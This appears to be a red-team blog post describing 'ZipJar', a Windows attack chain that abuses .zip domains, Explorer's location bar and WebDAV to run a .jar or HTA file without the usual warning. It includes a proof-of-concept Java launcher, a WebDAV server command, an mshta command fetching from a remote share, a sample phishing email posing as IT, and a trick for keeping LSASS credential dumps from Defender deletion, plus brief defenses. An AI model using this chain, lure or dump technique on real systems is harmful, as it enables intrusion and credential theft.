The upcoming .zip TLDs from Google brought some discussion about attack vectors. Most of those attack vectors are not completely new, like using an "@" to split between username and host. While playing a little bit around, an unexpected attack chain appeared, involving a .zip TLD, Windows Explorer, WebDAV and a jar file.

Some further reading and research:

tl;dr

Combining the following minor issues might cause RCE on a client.

The Windows Explorer location bar is also a search function
If using a TLD, like .zip, the search will be online, if the file does not exist locally on PATH folders
Windows Explorer will happily map a WebDAV folder directly
.jar files circumvent the execution Blocker (untrusted Location), however, a JRE must be installed

Take me to the PoC

Introduction

While playing around with the newly .zip domains some behavior from Windows Explorer was found, which might cause some RCE if a Java Runtime Environment (JRE) is installed. I name the behavior ZipJar.

A jar full of zippers, a symbolic picture

The Chain

Windows Explorer

The location bar in Windows Explorer is also a Search Bar and can be used to find and open files. If a file is not found on disk and a domain name is used, it will search online. It seems, that the file must be in an on PATH folder, to get directly opened.

With the introduction of the .zip TLDs, this is getting quite interesting.

So if you write the name of a zip file in the bar, it will open the default browser and go to that page. In the next procmon screenshot the flow can be seen:

Procmon with pasting dbexport.zip in the location bar

At first the local on path folders are tested and if that fails the WebDAV Client is started and the dll loaded.

I could never understand, why it should be a good idea to have a local search function doing things via the internet by default...

And as I know you guys, leave my .zip domain alone ;)

WebDAV

If we set up a WebDAV server at that specific .zip domain, in that case, dbexport.zip, which can be easily set up via wsgidav

wsgidav --port=80 --host=0.0.0.0 --root=. --auth=anonymous

Windows Explorer will not spawn a new browser but will map the folder directly.

An opened WebDAV folder

As can be seen in the screenshot, the URL changes a bit.

Shown: Network (WORKGROUP) > dbexport.zip

Resolved: \dbexport.zip\DavWWWRoot

If we click an executable, we get a confirmation dialog, as the location is not trusted.

An opened WebDAV folder

Phew, so we are safe and this is some kind of not-ideal behavior, but at least there is a dialog with a warning.

Bypassing execution blocking

After playing with some file extensions, it turns out that this protection is not bulletproof.

Mild shock

The execution of typical file types like bat, chm, cmd, com, exe, hta, js, lnk, pif, ps1, vbs, wsh is indeed blocked. Note: Those files will still get executed, if the user clicks on run!

If there are some custom application handlers registered, it seems that those tools do not have the same restriction. One example of this is the .jar filetype, meaning it is possible to execute Java code if the user has a JRE installed, which is quite often the case in a business environment.

This was tested by using the first jar file with a GUI found when googling.

Running a jar from the WebDAV

Promising!

Java Malware

At this point, I was afraid, that it might be necessary to write some Java Malware, like a shellcode loader. There are some quite old, but still promising approaches like How to Inject Shellcode from Java. Luckily, it turned out to be much simpler.

Some Copy&Pasted code later a minimalistic and very simple approach to execute a binary was ready.

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class HelloWorld {

    public static void main(String[] args) {
        // Ausgabe Hello World!
        System.out.println("Hello World!");

        String command = "calc.exe";

        try {
            Process process = Runtime.getRuntime().exec(command);

            BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            BufferedReader errorReader = new BufferedReader(
                    new InputStreamReader(process.getErrorStream()));
            while ((line = errorReader.readLine()) != null) {
                System.out.println(line);
            }
            errorReader.close();
            reader.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

The interesting part is in line 13: String command = "calc.exe"; defining what to execute.

So this will just pop a calculator under normal conditions. However, if a calc.exe is in the same folder, it will execute that binary, thanks to Windows Search Path.

Generating the jar in a simple way without needing a manifest can be done as follows:

javac .\HelloWorld.java
jar cfe app.jar HelloWorld HelloWorld.class

PoC

By chaining all together, we get a nice simple flow here.

Keep in mind, that a Java Runtime Environment must be installed!

The calc.exe is a custom binary, not the Windows calc.exe. Could be whatever you want/define in the Java program.

Proof of concept

As for most attack chains that require user interaction, the story is important. A concept might be, as usual, the IT department sending an E-Mail.

Hello Hans,
your client is missing an update. 
We already copied the zip file to your client. 
However, as the update must run under your user context, you need to copy the following command in the Explorer location bar.
dbexport.zip\app.jar
Thanks.

Finding a better story is left as an exercise for the reader.

Further notes

Full path to the file and hidden files

By supplying a full path like dbexport.zip\app.jar to the explorer location bar, the binary will immediately be executed.

It seems, that it is somehow possible to hide some files in the folder, but this was buggy during my tests.

Running a jar from the WebDAV

However, the documentation from MS Windows should support hidden files via WebDAV.

Opening a WebDAV folder will also start the WebDAV service, which is quite famous to use for some ActiveDirectory privilege escalation with relaying to LDAP (RBCD).

mshta

You can also run for example hta files from that WebDAV. By typing the command in the start menu an hta file will get executed without a warning.

mshta \\dbexport.zip\DavWWWRoot\calc_hta.hta

Running an hta from the WebDAV

Note, that HTA files are quite robust against syntax errors, the .hta ending is not necessary and also polyglots can easily be created.

LSASS Dump

A side effect of the WebDAV is, that the Defender is not going to delete files correctly on that shared folder. As LSASS dumps are nowadays recognized by the dump file itself this is a nice way to get your hands on the file. This will still trigger an alarm, so absolutely not OPSEC!

LSASS dump in c:\\tmp detected and deleted

Oh oh, is something wrong with Defender?

Something wrong with the Defender

LSASS dump in the WebDAV detected, yet the file was not deleted

If you even want to improve this workflow, there is a great tool called PowerHub offering a BlackHole WebDAV, meaning the server will immediately move the file out of the WebDAV.

Defense

Block WebDAV communication
Use Application restrictions like AppLocker or WDAC
Monitor for the process java.exe spawning further binaries

Conclusion

Even though this is not really a full chain attack for initial access during a RedTeam assessment, I still found this a little bit surprising and wanted to share. Feel free to reach out if you have questions, or especially if you have some additional techniques which might apply here.

This article was originally published on BadOption, by a Cyvisory Group member.

Links

Work and inspiration from others, thanks for that:

ZipJar, a little bit unexpected attack chain